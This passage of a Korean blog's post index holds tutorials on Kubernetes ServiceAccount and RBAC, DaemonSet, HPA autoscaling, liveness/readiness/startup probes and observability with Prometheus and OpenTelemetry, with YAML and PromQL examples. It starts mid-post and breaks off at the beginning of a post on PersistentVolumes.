\u0026ldquo;이 네임스페이스에서 이 Role을 이 ServiceAccount에게 준다\u0026quot;는 것이다.\napiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: read-pods namespace: production subjects: - kind: ServiceAccount name: my-app namespace: production roleRef: kind: Role name: pod-reader apiGroup: rbac.authorization.k8s.io ClusterRoleBinding: ClusterRole을 클러스터 전체 범위로 대상에 연결한다.\n전체 구성 예시 # 1. ServiceAccount 생성 apiVersion: v1 kind: ServiceAccount metadata: name: my-app namespace: production --- # 2. 필요한 권한을 Role로 정의 apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: my-app-role namespace: production rules: - apiGroups: [\u0026#34;\u0026#34;] resources: [\u0026#34;configmaps\u0026#34;] verbs: [\u0026#34;get\u0026#34;, \u0026#34;list\u0026#34;] - apiGroups: [\u0026#34;\u0026#34;] resources: [\u0026#34;secrets\u0026#34;] resourceNames: [\u0026#34;my-app-secret\u0026#34;] # 특정 Secret만 접근 허용 verbs: [\u0026#34;get\u0026#34;] --- # 3. Role을 ServiceAccount에 연결 apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: my-app-rolebinding namespace: production subjects: - kind: ServiceAccount name: my-app namespace: production roleRef: kind: Role name: my-app-role apiGroup: rbac.authorization.k8s.io --- # 4. Deployment에서 ServiceAccount 지정 apiVersion: apps/v1 kind: Deployment spec: template: spec: serviceAccountName: my-app # 이 파드는 my-app ServiceAccount로 실행된다 containers: - name: app image: my-app:1.0.0 최소 권한 원칙 RBAC 설계의 핵심 원칙은 최소 권한(least privilege) 이다. 파드가 실제로 필요한 것만 정확히 허용하고, 나머지는 차단한다.\n흔한 실수는 편의를 위해 cluster-admin 권한을 주거나, \u0026quot;*\u0026quot; 와일드카드로 모든 리소스에 모든 권한을 주는 것이다. 그 파드가 침해되면 공격자가 클러스터 전체를 제어할 수 있다.\nresourceNames로 특정 오브젝트만 지정할 수도 있다. \u0026ldquo;이 파드는 이 Secret 하나만 읽을 수 있다\u0026quot;처럼 리소스 종류뿐 아니라 특정 인스턴스까지 제한하는 것이 더 엄격한 권한 제어다.\nautomountServiceAccountToken 비활성화 API Server를 전혀 호출하지 않는 파드라면 토큰 마운트 자체를 꺼두는 것이 좋다.\nspec: automountServiceAccountToken: false 토큰이 없으면 파드가 침해되어도 공격자가 API Server에 접근할 수 없다. Deployment의 spec.template.spec에 설정하면 해당 파드에 적용되고, ServiceAccount에 설정하면 그 계정을 쓰는 모든 파드에 적용된다.\n트레이드오프 RBAC을 제대로 설정하면 파드 침해의 폭발 반경(blast radius)을 줄일 수 있다. 반면 서비스마다 ServiceAccount와 Role과 RoleBinding을 만들고 관리하는 것은 번거롭다. 서비스가 많아질수록 이 오브젝트들이 쌓여 관리 부담이 된다.\n현실적인 전략은 최소한 두 가지를 지키는 것이다. 첫째, API Server를 호출하지 않는 파드는 automountServiceAccountToken: false. 둘째, API Server를 호출하는 파드는 default ServiceAccount가 아닌 전용 ServiceAccount를 만들고, 필요한 권한만 정확히 정의한다. 이 두 가지만 지켜도 기본 보안 수준이 크게 올라간다.\n","permalink":"https://charminggroot.github.io/posts/016-k8s-serviceaccount/","summary":"ServiceAccount는 파드가 k8s API를 호출할 때 쓰는 신원(identity)이다. RBAC은 그 신원에 어떤 리소스에 어떤 작업을 허용할지 정하는 권한 체계다. Role, ClusterRole, RoleBinding, ClusterRoleBinding이 어떻게 조합되는지, 최소 권한 원칙을 어떻게 적용하는지를 설명한다.","title":"016. Kubernetes ServiceAccount \u0026 RBAC — 파드의 신원과 권한 제어"},{"content":"Deployment는 파드를 지정한 개수만큼 클러스터 어딘가에 올린다. 어느 노드에 올라가는지는 스케줄러가 결정하고, 운영자는 신경 쓰지 않는다. 하지만 어떤 컴포넌트는 모든 노드에서 실행돼야 한다. 각 노드의 로그를 수집하거나, 노드의 시스템 메트릭을 가져오거나, 네트워크 플러그인을 설치하는 일이 그렇다. DaemonSet은 이 \u0026ldquo;모든 노드에 하나씩\u0026quot;을 보장한다.\nDeployment와의 차이 Deployment는 \u0026ldquo;총 N개\u0026quot;를 보장하고, DaemonSet은 \u0026ldquo;노드마다 1개\u0026quot;를 보장한다.\nDeployment DaemonSet 파드 배치 스케줄러가 결정 모든 (또는 선택된) 노드에 하나씩 파드 수 replicas로 지정 노드 수에 따라 자동 결정 노드 추가 시 기존 파드 수 유지 새 노드에 자동으로 파드 생성 노드 제거 시 다른 노드로 재스케줄 해당 노드의 파드 삭제 주 용도 서비스 앱 인프라 에이전트 기본 구조 apiVersion: apps/v1 kind: DaemonSet metadata: name: log-collector namespace: kube-system spec: selector: matchLabels: app: log-collector template: metadata: labels: app: log-collector spec: containers: - name: fluentd image: fluentd:latest volumeMounts: - name: varlog mountPath: /var/log readOnly: true - name: varlibdockercontainers mountPath: /var/lib/docker/containers readOnly: true resources: requests: cpu: \u0026#34;100m\u0026#34; memory: \u0026#34;200Mi\u0026#34; limits: cpu: \u0026#34;200m\u0026#34; memory: \u0026#34;400Mi\u0026#34; volumes: - name: varlog hostPath: path: /var/log # 노드의 실제 경로를 마운트 - name: varlibdockercontainers hostPath: path: /var/lib/docker/containers tolerations: # 마스터 노드 포함 모든 노드에서 실행하려면 - operator: Exists 로그 수집기의 핵심은 hostPath 볼륨이다. 파드 안의 컨테이너가 노드의 실제 파일시스템 경로를 마운트해서 읽는다. 노드의 /var/log에 모든 컨테이너 로그가 쌓이므로, 로그 수집기가 이 경로를 마운트해 읽어 중앙 로그 저장소로 보낸다.\n실행 노드 범위 제어 기본적으로 DaemonSet은 모든 노드에 파드를 올린다. 마스터 노드는 기본 Taint가 걸려 있어 Toleration을 추가해야 올라간다. 반대로 일부 노드에만 올리려면 nodeSelector나 nodeAffinity로 제한한다. Taint/Toleration과 Affinity의 상세 동작은 028 문서에서 다룬다.\n주요 사용 사례 로그 수집: Fluentd, Filebeat가 각 노드의 컨테이너 로그를 읽어 Elasticsearch나 CloudWatch 같은 중앙 저장소로 보낸다. 모든 노드의 로그를 빠짐없이 수집하려면 DaemonSet이 유일한 방법이다.\n메트릭 수집: Prometheus의 node-exporter가 각 노드의 CPU, 메모리, 디스크, 네트워크 메트릭을 수집한다. 노드 자체의 상태를 모니터링하는 것이므로 모든 노드에 있어야 한다.\n분산 추적 수집기: OpenTelemetry Collector를 DaemonSet으로 올리면 각 파드가 같은 노드의 Collector로 추적 데이터를 보낼 수 있다(localhost 통신). 중앙 Collector 하나로 몰리는 트래픽을 분산하고, 네트워크 홉을 줄인다.\n네트워크 플러그인: Calico, Flannel, Cilium 같은 CNI(Container Network Interface) 플러그인이 각 노드에서 파드 간 네트워크를 구성한다. 이것이 없으면 파드 간 통신이 안 된다.\n보안 에이전트: Falco 같은 런타임 보안 도구가 각 노드에서 시스템 콜을 감시한다.\n업데이트 전략 DaemonSet도 업데이트 전략을 설정할 수 있다.\nRollingUpdate(기본값): 노드마다 이전 파드를 내리고 새 파드를 올리는 방식으로 순차적으로 업데이트한다. maxUnavailable로 동시에 업데이트할 노드 수를 제어한다.\nOnDelete: 자동으로 업데이트하지 않는다. 직접 파드를 삭제하면 새 버전으로 생성된다. 업데이트를 수동으로 제어해야 할 때 쓴다.\n트레이드오프 DaemonSet 파드는 모든 노드에서 실행되므로 리소스 계획이 중요하다. 노드가 100대라면 DaemonSet 파드도 100개다. resources.requests를 크게 잡으면 모든 노드의 가용 자원이 그만큼 줄어든다. 인프라 에이전트는 보통 가볍게 유지하는 것이 원칙이다.\nhostPath 볼륨은 편리하지만 보안 위험이 있다. 노드의 실제 파일시스템에 접근하므로 파드가 침해되면 노드 전체가 위험해질 수 있다. 꼭 필요한 경로만, 읽기 전용으로 마운트하는 것이 원칙이다.\n","permalink":"https://charminggroot.github.io/posts/017-k8s-daemonset/","summary":"DaemonSet은 클러스터의 모든 노드(또는 선택한 노드)에 파드를 정확히 하나씩 실행한다. 노드가 추가되면 자동으로 파드가 생기고, 노드가 제거되면 파드도 사라진다. 로그 수집, 메트릭 수집, 네트워크 플러그인처럼 노드 단위로 실행돼야 하는 인프라 컴포넌트에 쓰인다.","title":"017. Kubernetes DaemonSet — 모든 노드에 하나씩 실행되는 파드"},{"content":"트래픽은 일정하지 않다. 평소에는 파드 3개로 충분하지만 점심 시간에는 10배가 몰릴 수 있다. 미리 10개를 띄워두면 낭비고, 3개만 두면 피크를 못 버틴다. HPA(Horizontal Pod Autoscaler)는 이 문제를 자동으로 푼다. 정의한 목표 수준(예: CPU 60%)을 넘으면 파드를 늘리고, 여유가 생기면 줄인다.\nHPA가 동작하려면 HPA는 메트릭을 보고 결정한다. 이 메트릭을 제공하는 metrics-server가 클러스터에 설치돼 있어야 한다. metrics-server는 각 노드의 kubelet에서 CPU·메모리 사용량을 주기적으로 긁어 집계한다.\n파드에 resources.requests가 설정돼 있어야 한다. HPA의 CPU 사용률은 limits 대비가 아니라 requests 대비로 계산된다. requests가 없으면 HPA는 사용률을 계산할 수 없어 동작하지 않는다.\n기본 구조 apiVersion: autoscaling/v2 kind: HorizontalPodAutoscaler metadata: name: my-app-hpa spec: scaleTargetRef: apiVersion: apps/v1 kind: Deployment name: my-app minReplicas: 2 # 최소 파드 수 (0으로 설정 시 KEDA 필요) maxReplicas: 20 # 최대 파드 수 metrics: - type: Resource resource: name: cpu target: type: Utilization averageUtilization: 60 # 평균 CPU 사용률 60% 목표 - type: Resource resource: name: memory target: type: Utilization averageUtilization: 70 스케일 계산 원리 HPA는 주기적으로(기본 15초) 메트릭을 확인하고 다음 공식으로 필요한 파드 수를 계산한다.\n필요한 파드 수 = ceil(현재 파드 수 × (현재 평균 사용률 / 목표 사용률)) 예를 들어 현재 파드 3개, 평균 CPU 90%, 목표 60%라면:\nceil(3 × (90 / 60)) = ceil(4.5) = 5 5개로 스케일 아웃한다. 5개가 됐을 때 평균이 60%가 되면 안정 상태다.\n여러 메트릭을 정의하면 각 메트릭에 대해 계산한 값 중 가장 큰 값을 쓴다. 어떤 메트릭 하나라도 목표를 넘으면 스케일 아웃이 일어난다.\n스케일 아웃과 스케일 인의 비대칭 HPA는 스케일 아웃과 스케일 인의 속도가 다르게 설계돼 있다.\n스케일 아웃은 빠르게 반응한다. 목표를 넘으면 즉시 파드를 늘린다.\n스케일 인은 천천히 일어난다. 기본적으로 사용률이 낮아져도 5분간 안정적인 상태가 유지돼야 스케일 인을 시작한다. 트래픽이 잠깐 내려갔다가 다시 올라올 수 있는데, 그 사이에 파드를 너무 빨리 줄이면 다시 올라온 트래픽을 처리하지 못하기 때문이다.\n이 동작은 behavior로 조정할 수 있다.\nspec: behavior: scaleDown: stabilizationWindowSeconds: 300 # 스케일 인 전 안정화 대기 (기본 300초) policies: - type: Percent value: 10 # 한 번에 최대 10%씩 줄임 periodSeconds: 60 scaleUp: stabilizationWindowSeconds: 0 # 스케일 아웃은 즉시 (기본 0초) policies: - type: Pods value: 4 # 한 번에 최대 4개씩 늘림 periodSeconds: 60 실무에서 자주 만나는 함정 스케일 아웃 후 새 파드가 준비되는 시간: 스케일 아웃이 결정됐다고 바로 트래픽을 받는 게 아니다. 이미지 풀 시간 + 앱 시작 시간 + Readiness probe 통과 시간이 필요하다. 이 시간 동안 기존 파드들이 과부하를 감당해야 한다. 이미지 풀을 빠르게 하려면 이미지를 노드에 미리 캐시하거나 이미지 크기를 줄이고, 앱 시작 시간을 최소화하는 것이 중요하다. 피크가 예측 가능하다면(점심 시간, 마케팅 이벤트) 미리 minReplicas를 올려두는 것도 방법이다.\nrequests를 너무 낮게 잡는 실수: requests를 낮게 잡으면 실제 CPU 사용량이 같아도 \u0026ldquo;사용률\u0026quot;이 더 높게 계산된다. requests: 100m인 파드가 실제로 150m을 쓰면 사용률이 150%다. 스케줄러는 100m만 예약했으므로 노드 자원은 충분해 보이지만 HPA는 계속 스케일 아웃을 시도한다. requests는 실제 평균 사용량을 반영해야 한다.\nmaxReplicas 한계 설정: maxReplicas를 너무 높게 잡으면 장애 상황에서 파드가 무한정 늘어나 노드가 과부하된다. 클러스터 용량을 고려해 현실적인 상한을 설정해야 한다. 반대로 너무 낮게 잡으면 진짜 피크 트래픽을 처리 못 한다.\n커스텀 메트릭 CPU·메모리 외에 Prometheus 같은 모니터링 시스템에서 가져오는 지표로도 HPA를 구성할 수 있다. custom.metrics.k8s.io API를 통해 메트릭을 제공하는 Prometheus Adapter를 설치하면 된다.\nmetrics: - type: Pods pods: metric: name: http_requests_per_second # Prometheus 메트릭 이름 target: type: AverageValue averageValue: \u0026#34;100\u0026#34; # 파드당 평균 100 RPS 목표 - type: External external: metric: name: sqs_queue_depth # 외부 시스템 메트릭 selector: matchLabels: queue: my-queue target: type: Value value: \u0026#34;500\u0026#34; # 큐 깊이 500 미만 유지 커스텀 메트릭이 CPU보다 유용한 경우가 많다. CPU 사용률이 낮아도 응답 시간이 느려지는 경우가 있고, 반대로 CPU가 높아도 파드가 더 필요하지 않은 경우도 있다. 실제 처리 부하를 더 직접적으로 나타내는 RPS, 큐 깊이, 응답 시간 같은 메트릭이 더 정확한 스케일링 신호가 되기도 한다.\nVPA — 파드 수 대신 파드 크기를 조절 HPA가 파드 수를 수평으로 늘린다면, VPA(Vertical Pod Autoscaler)는 파드의 CPU·메모리 requests/limits 값을 자동으로 조정한다. 파드를 재시작해야 값이 적용되므로 상태가 있는 애플리케이션이나 재시작 비용이 큰 경우에 유용하다. HPA와 VPA를 CPU 기준으로 동시에 쓰면 서로 충돌할 수 있어, 보통 하나를 선택해 쓴다.\n트레이드오프 HPA는 반응적(reactive)이다. 트래픽이 이미 몰린 뒤에 반응한다. 새 파드가 준비되기까지 시간이 걸리므로, 트래픽 급증의 처음 수 분은 기존 파드들이 과부하를 버텨야 한다. 이를 완화하려면 minReplicas를 충분히 잡아두고, 이미지 시작 시간을 최소화하며, 파드 중단 예산(PodDisruptionBudget)으로 스케일 인 중 가용성을 보장하는 것이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/018-k8s-hpa/","summary":"HPA(Horizontal Pod Autoscaler)는 CPU·메모리 사용률이나 커스텀 메트릭을 보고 Deployment의 파드 수를 자동으로 늘리고 줄인다. 스케일 계산이 어떻게 이뤄지는지, 실무에서 자주 만나는 함정(requests 미설정, 스케일 다운 지연, 파드 준비 시간)이 무엇인지, 커스텀 메트릭으로 어떻게 확장하는지를 설명한다.","title":"018. Kubernetes HPA — 트래픽에 따라 파드 수를 자동으로 조절하기"},{"content":"k8s가 자주 언급되는 강점 중 하나가 셀프힐링(self-healing)이다. 파드가 죽으면 다시 살리고, 노드가 꺼지면 파드를 다른 노드로 옮기며, 컨테이너가 응답을 못 하면 재시작한다. 이 동작들은 마법이 아니라 선언적 모델의 자연스러운 결과다. 컨트롤러가 desired state와 actual state를 끊임없이 비교하면서 차이가 생기면 바로잡는다.\n이 구조 위에 세 가지 프로브(probe)가 더 정교한 자가 회복을 가능하게 한다.\nLiveness Probe — 죽은 컨테이너를 재시작한다 Liveness probe는 컨테이너가 살아있는지 확인한다. 검사에 실패하면 kubelet이 해당 컨테이너를 재시작한다.\n이것이 필요한 이유는 프로세스는 살아있지만 실제로는 동작하지 않는 상태가 있기 때문이다. 데드락에 빠진 스레드, 무한 루프에 갇힌 코드, 응답을 못 하는 상태 등이 그렇다. 이 경우 컨테이너가 살아있으니 k8s는 정상으로 보지만, 실제로는 요청을 처리 못 하고 있다. Liveness probe가 이를 감지해 재시작을 유도한다.\nlivenessProbe: httpGet: path: /healthz # 앱이 노출하는 헬스체크 엔드포인트 port: 8080 initialDelaySeconds: 10 # 컨테이너 시작 후 10초 기다렸다가 첫 검사 periodSeconds: 10 # 10초마다 검사 failureThreshold: 3 # 3번 연속 실패해야 재시작 (기본값) timeoutSeconds: 5 # 응답을 5초 내에 받아야 함 검사 방식은 세 가지다.\nhttpGet: 지정한 경로로 HTTP GET 요청을 보내 2xx 또는 3xx 응답을 받으면 성공이다.\nexec: 컨테이너 안에서 명령을 실행해 exit code 0이면 성공이다.\ntcpSocket: 지정한 포트로 TCP 연결을 시도해 연결되면 성공이다.\nReadiness Probe — 준비 안 된 파드를 트래픽에서 제외한다 Readiness probe는 컨테이너가 트래픽을 받을 준비가 됐는지 확인한다. 검사에 실패하면 재시작하지 않고, 그 파드를 Service의 엔드포인트 목록에서 제외한다. 즉, 살아는 있지만 트래픽을 주지 않는다.\nreadinessProbe: httpGet: path: /ready port: 8080 initialDelaySeconds: 5 periodSeconds: 5 failureThreshold: 1 # 1번만 실패해도 트래픽 제외 (빠른 반응) successThreshold: 1 # 다시 1번 성공하면 트래픽 재개 이것이 유용한 상황은 여러 가지다.\n시작 중인 파드: 앱이 완전히 초기화되기 전에는 트래픽을 받으면 안 된다. DB 연결 풀을 열거나, 캐시를 워밍업하거나, 설정 파일을 로드하는 동안 요청이 들어오면 오류가 난다. Readiness probe가 준비 완료 전까지 트래픽을 막아준다.\n일시적 과부하: 파드가 살아있지만 일시적으로 처리 용량이 찼다면, ready 상태를 false로 내려 새 요청이 들어오지 않게 하고 기존 요청을 먼저 처리할 수 있다.\n의존 서비스 장애: DB나 외부 API가 내려가 이 서비스도 동작을 못 한다면, readiness를 false로 내려 트래픽을 다른 파드로 우회시킬 수 있다.\nLiveness vs Readiness — 무엇이 다른가 둘을 혼동하면 문제가 생긴다.\nLiveness Readiness 검사 실패 시 컨테이너 재시작 트래픽에서 제외 (재시작 없음) 용도 죽은 컨테이너 감지 트래픽 받을 준비 확인 엔드포인트 /healthz (최소 검사) /ready (의존성 포함 검사) Liveness probe에 의존 서비스(DB) 연결 확인을 넣으면 안 된다. DB가 잠깐 내려갔을 때 Liveness가 실패해 파드를 재시작하면, 재시작한 파드도 같은 이유로 실패하는 재시작 폭풍(CrashLoopBackOff)이 생긴다. Liveness는 \u0026ldquo;이 프로세스가 동작 가능한 상태인가\u0026quot;만 확인하고, 의존성은 Readiness에서 확인한다.\nReadiness probe를 너무 공격적으로 설정하면(failureThreshold를 1로, 외부 의존성을 모두 포함) 작은 지연에도 파드가 트래픽에서 빠져 과부하가 다른 파드로 몰리는 연쇄 장애가 생길 수 있다.\nStartup Probe — 시작이 느린 앱 보호 Java 앱이나 머신러닝 모델처럼 시작 시간이 수십 초 이상 걸리는 앱이 있다. 이때 Liveness probe의 initialDelaySeconds를 그 시간보다 길게 잡으면 해결될 것 같지만, 운영 중에 앱이 실제로 먹통이 됐을 때도 그만큼 기다린 뒤에야 재시작한다.\nStartup probe는 이 딜레마를 해결한다. 시작 완료 여부를 따로 검사해 시작이 끝날 때까지 Liveness와 Readiness probe의 실행을 미룬다.\nstartupProbe: httpGet: path: /healthz port: 8080 failureThreshold: 30 # 최대 30번 시도 (30 × 10초 = 5분) periodSeconds: 10 # 10초마다 검사 # startupProbe가 성공하기 전까지 아래 둘은 실행되지 않음 livenessProbe: httpGet: path: /healthz port: 8080 periodSeconds: 10 failureThreshold: 3 readinessProbe: httpGet: path: /ready port: 8080 periodSeconds: 5 startupProbe가 성공하면 그 이후부터 Liveness와 Readiness probe가 동작한다. 시작 중에는 최대 failureThreshold × periodSeconds초를 기다리고, 시작 후에는 빠르게 이상 감지가 가능하다.\nCrashLoopBackOff — 재시작 폭풍 컨테이너가 계속 실패해 재시작을 반복하면 k8s가 재시작 간격을 점점 늘린다. 처음엔 즉시, 다음엔 10초, 20초, 40초로 늘어나 최대 5분까지 늘어난다. kubectl get pods에서 CrashLoopBackOff 상태로 표시된다.\n이 상태는 k8s가 잘못 동작하는 것이 아니라 의도된 보호 장치다. 계속 재시작하며 리소스를 낭비하지 않도록 백오프(backoff)를 건다. 원인은 보통 앱 자체의 버그, 잘못된 환경변수나 설정, 의존 서비스 미준비 등이다. kubectl logs \u0026lt;파드이름\u0026gt; --previous로 이전 컨테이너의 로그를 보면 원인을 찾을 수 있다.\nPodDisruptionBudget — 자발적 중단 중 가용성 보장 셀프힐링과 반대로, 운영자가 의도적으로 파드를 중단시키는 상황도 있다. 노드 업그레이드, 클러스터 축소 같은 경우다. 이때 동시에 너무 많은 파드가 내려가면 서비스가 중단된다. PodDisruptionBudget(PDB)이 이를 막는다.\napiVersion: policy/v1 kind: PodDisruptionBudget metadata: name: my-app-pdb spec: selector: matchLabels: app: my-app minAvailable: 2 # 항상 최소 2개는 살아있어야 한다 # 또는 # maxUnavailable: 1 # 동시에 최대 1개까지만 내려도 된다 노드를 drain(파드를 안전하게 내보내는 작업)할 때 k8s가 PDB를 확인한다. minAvailable이 지켜지지 않으면 drain을 진행하지 않는다. 롤링 업데이트 중에도 PDB가 적용돼 업데이트 중에도 최소 가용 파드 수가 보장된다.\n트레이드오프 프로브를 너무 공격적으로 설정하면 안정적인 앱도 계속 재시작되거나 트래픽에서 빠지는 오탐(false positive)이 생긴다. 너무 느슨하게 설정하면 진짜 문제가 있는 파드가 오랫동안 트래픽을 받는다. 적절한 값은 앱의 실제 응답 시간 분포와 시작 시간을 측정해 결정해야 한다. \u0026ldquo;표준 설정값\u0026quot;이 모든 앱에 맞지는 않는다.\n","permalink":"https://charminggroot.github.io/posts/019-k8s-self-healing/","summary":"k8s의 셀프힐링은 선언적 모델과 세 가지 프로브로 구현된다. Liveness probe가 죽은 컨테이너를 재시작하고, Readiness probe가 준비 안 된 파드를 트래픽에서 제외하며, Startup probe가 시작이 느린 앱을 보호한다. 각 프로브가 언제 무엇을 해야 하는지, 잘못 설정했을 때 어떤 문제가 생기는지를 설명한다.","title":"019. Kubernetes 셀프힐링 — 파드가 스스로 회복하는 구조"},{"content":"k8s 위에서 서비스가 실행된다고 끝이 아니다. 지금 몇 TPS를 처리하는지, 어떤 요청이 느린지, 오류가 어느 서비스에서 나는지를 볼 수 없으면 운영이 불가능하다. 관측성(observability)은 시스템 내부 상태를 외부에서 추론할 수 있는 능력이다. 세 가지 신호로 구성된다. 메트릭(metrics)은 시스템의 수치 상태를, 트레이스(traces)는 요청의 흐름을, 로그(logs)는 개별 이벤트의 기록을 제공한다.\n메트릭과 TPS — Prometheus + Grafana Prometheus가 하는 일 Prometheus는 메트릭을 시계열(time-series) 로 수집하고 저장하는 시스템이다. k8s 클러스터에서는 두 종류의 메트릭 소스가 있다.\n인프라 메트릭: 노드의 CPU·메모리·디스크, 파드의 리소스 사용량, k8s 컴포넌트 상태 등. kube-prometheus-stack을 설치하면 node-exporter(DaemonSet), kube-state-metrics 등이 자동으로 배포돼 이 메트릭들을 수집한다.\n애플리케이션 메트릭: 각 서비스가 직접 노출하는 지표. 요청 수, 응답 시간, 오류 수, 비즈니스 지표 등. 앱이 /metrics 엔드포인트를 노출하면 Prometheus가 주기적으로 그 엔드포인트를 긁는다(scrape).\nTPS 측정 TPS(Transactions Per Second, 초당 처리 건수)는 rate() 함수로 계산한다.\n# 전체 초당 요청 수 rate(http_requests_total[1m]) # 서비스별 초당 요청 수 rate(http_requests_total[1m]) by (service) # 5xx 에러율 rate(http_requests_total{status=~\u0026#34;5..\u0026#34;}[1m]) / rate(http_requests_total[1m]) # p99 응답 시간 (히스토그램 메트릭) histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) rate(counter[1m])는 1분 범위에서 카운터의 초당 증가율을 계산한다. 카운터는 누적 값이라 절대값이 아닌 변화율을 봐야 의미 있다. [1m]을 너무 짧게 잡으면 노이즈가 크고, 너무 길게 잡으면 최근 변화를 놓친다. 보통 1~5분을 쓴다.\n파드 자동 발견 k8s 환경에서 파드가 늘어나고 줄어드는데, Prometheus가 어떻게 모든 파드의 /metrics를 알고 긁는지 의아할 수 있다. ServiceMonitor 오브젝트가 그 역할을 한다.\napiVersion: monitoring.coreos.com/v1 kind: ServiceMonitor metadata: name: my-app-monitor spec: selector: matchLabels: app: my-app endpoints: - port: http path: /metrics interval: 15s # 15초마다 수집 kube-prometheus-stack의 Prometheus Operator가 ServiceMonitor를 감시하면서 일치하는 Service의 파드들을 자동으로 scrape 대상에 추가한다. 파드가 늘어나도 자동으로 수집 대상에 포함된다.\nGrafana 대시보드 Prometheus가 저장한 데이터를 Grafana가 시각화한다. 미리 만들어진 대시보드(Kubernetes / Overview, Node Exporter Full 등)를 grafana.com에서 ID 하나로 임포트할 수 있다. HPA와 연동해서 보면 \u0026ldquo;TPS가 올라갈 때 파드가 늘어나는 과정\u0026quot;을 실시간으로 볼 수 있다.\n분산 추적 — OpenTelemetry + Jaeger 요청 하나가 여러 서비스를 거칠 때 어디서 얼마나 시간이 걸렸는지는 메트릭만으로는 알기 어렵다. 분산 추적이 그 경로를 시각화한다. 이전 글(W3C Trace Context)에서 표준을 정리했으니, 여기서는 k8s에서의 실제 구성에 집중한다.\nOTel Collector DaemonSet 각 서비스에서 생성된 스팬(span)을 수집해 백엔드로 전달하는 OpenTelemetry Collector를 DaemonSet으로 올린다. 파드들이 같은 노드의 Collector에 localhost로 보내면 돼서 네트워크 오버헤드가 적고, Collector 장애가 클러스터 전체로 번지지 않는다.\napiVersion: apps/v1 kind: DaemonSet metadata: name: otel-collector namespace: observability spec: template: spec: containers: - name: collector image: otel/opentelemetry-collector-contrib:latest ports: - containerPort: 4317 # OTLP gRPC - containerPort: 4318 # OTLP HTTP volumeMounts: - name: config mountPath: /etc/otelcol volumes: - name: config configMap: name: otel-collector-config tolerations: - operator: Exists # 모든 노드에서 실행 Collector 설정(ConfigMap)에서 수신기(receiver), 처리기(processor), 내보내기(exporter)를 정의한다.\n# otel-collector-config ConfigMap receivers: otlp: protocols: grpc: endpoint: 0.0.0.0:4317 http: endpoint: 0.0.0.0:4318 processors: batch: # 스팬을 모아서 배치로 보냄 (성능 향상) timeout: 1s memory_limiter: # 메모리 초과 방지 limit_mib: 400 exporters: otlp/jaeger: endpoint: jaeger-collector:4317 service: pipelines: traces: receivers: [otlp] processors: [memory_limiter, batch] exporters: [otlp/jaeger] 자동 계측 OTel SDK를 코드에 직접 붙이지 않아도 사이드카 주입으로 자동 계측이 가능하다. OpenTelemetry Operator를 설치하고 파드에 어노테이션을 달면 된다.\nmetadata: annotations: instrumentation.opentelemetry.io/inject-python: \u0026#34;true\u0026#34; instrumentation.opentelemetry.io/inject-java: \u0026#34;true\u0026#34; instrumentation.opentelemetry.io/inject-nodejs: \u0026#34;true\u0026#34; Operator가 파드 시작 시 init container를 주입해 OTel 에이전트를 설치하고, 환경변수를 설정해 앱이 자동으로 추적 데이터를 Collector로 보내게 한다. HTTP, gRPC, DB 쿼리 같은 공통 라이브러리 호출이 자동으로 계측된다.\n로그 수집 — DaemonSet 기반 파이프라인 각 파드의 표준출력(stdout/stderr)은 노드의 /var/log/pods/ 경로에 파일로 저장된다. DaemonSet으로 올린 로그 수집기가 이 경로를 마운트해 읽어 중앙 로그 저장소로 보낸다.\n흔한 스택은 Fluentd 또는 Fluent Bit (DaemonSet) → Elasticsearch → Kibana(EFK 스택)이거나, 최근에는 더 가벼운 Promtail(DaemonSet) → Loki → Grafana(PLG 스택)가 많이 쓰인다. Loki는 로그를 인덱스 없이 압축 저장해 Elasticsearch보다 저장 비용이 낮다. 이미 Grafana를 쓴다면 메트릭과 로그를 같은 UI에서 볼 수 있는 장점도 있다.\n세 가지 신호의 연결 관측성의 진짜 가치는 세 신호를 연결할 때 나온다.\nGrafana 대시보드에서 특정 시간대에 에러율이 급등한 것을 메트릭으로 발견한다. 그 시간대의 느린 요청의 trace-id를 Jaeger에서 찾아, 어느 서비스 어느 스팬에서 지연이 발생했는지 폭포수 그래프로 확인한다. 그 서비스의 그 시간대 로그를 Loki에서 trace-id로 필터링해 정확한 오류 메시지를 찾는다. 이 연결이 되려면 로그에 trace-id가 포함돼야 한다. OTel SDK는 현재 실행 맥락의 trace-id와 span-id를 로그에 자동으로 심는 기능을 제공한다. 이 설정을 해두면 메트릭 → 트레이스 → 로그를 하나의 흐름으로 따라갈 수 있다.\n트레이드오프 관측성 스택은 그 자체로 상당한 자원을 쓴다. Prometheus는 수집 주기마다 모든 파드를 긁으며, 메트릭 보존 기간이 길수록 저장 공간이 늘어난다. OTel Collector DaemonSet은 모든 노드에 올라가고, 로그 수집기도 마찬가지다. 클러스터 전체 자원의 5~15%가 관측성 인프라에 사용되는 경우도 드물지 않다.\n모든 요청을 다 추적하면 추적 데이터 양이 폭증한다. 샘플링으로 일부만 기록하는데, 1~10%로 잡는 경우가 많다. 문제는 장애가 났을 때 그 요청이 샘플에서 빠질 수 있다는 것이다. 꼬리 기반 샘플링(tail-based sampling)은 완료된 트레이스를 보고 오류나 지연이 있는 것은 무조건 포함하는 방식으로 이 문제를 완화한다. OTel Collector에 tail sampling processor를 설정하면 된다.\n","permalink":"https://charminggroot.github.io/posts/020-k8s-observability/","summary":"k8s에서 서비스를 운영하려면 무슨 일이 일어나는지 볼 수 있어야 한다. 관측성의 세 기둥인 메트릭·트레이스·로그가 k8s에서 어떻게 구성되는지, TPS를 어떻게 측정하는지, 분산 추적이 어떻게 여러 서비스를 하나의 흐름으로 잇는지, 로그는 어떻게 중앙에서 수집하는지를 설명한다.","title":"020. Kubernetes 관측성 — TPS 측정, 분산 추적, 로그 수집"},{"content":"파드는 일시적이다. 파드가 죽고 새로 만들어지면 그 안에서 컨테이너가 썼던 파일은 사라진다. 애플리케이션 로그나 캐시 파일이라면 괜찮지만, DB 데이터나 사용자가 업로드한 파일이라면 치명적이다. 이 문제를 해결하는 것이 PersistentVolume(PV)과 PersistentVolumeClaim(PVC)이다.\nPV는 클러스터에 실제로 존재하는 저장소 자원이다. AWS EBS, GCP Persistent Disk, NFS 서버, 로컬 디스크 등 다양한 저장소를 k8s 오브젝트로 추상화한다. PVC는 파드가 \u0026ldquo;이런 저장소가 필요하다\u0026quot;고 요청하는 티켓이다. PVC가 제출되면 k8s가 조건에 맞는 PV를 찾아 연결(bind)한다. 파드는 PVC를 볼륨으로 마운트해 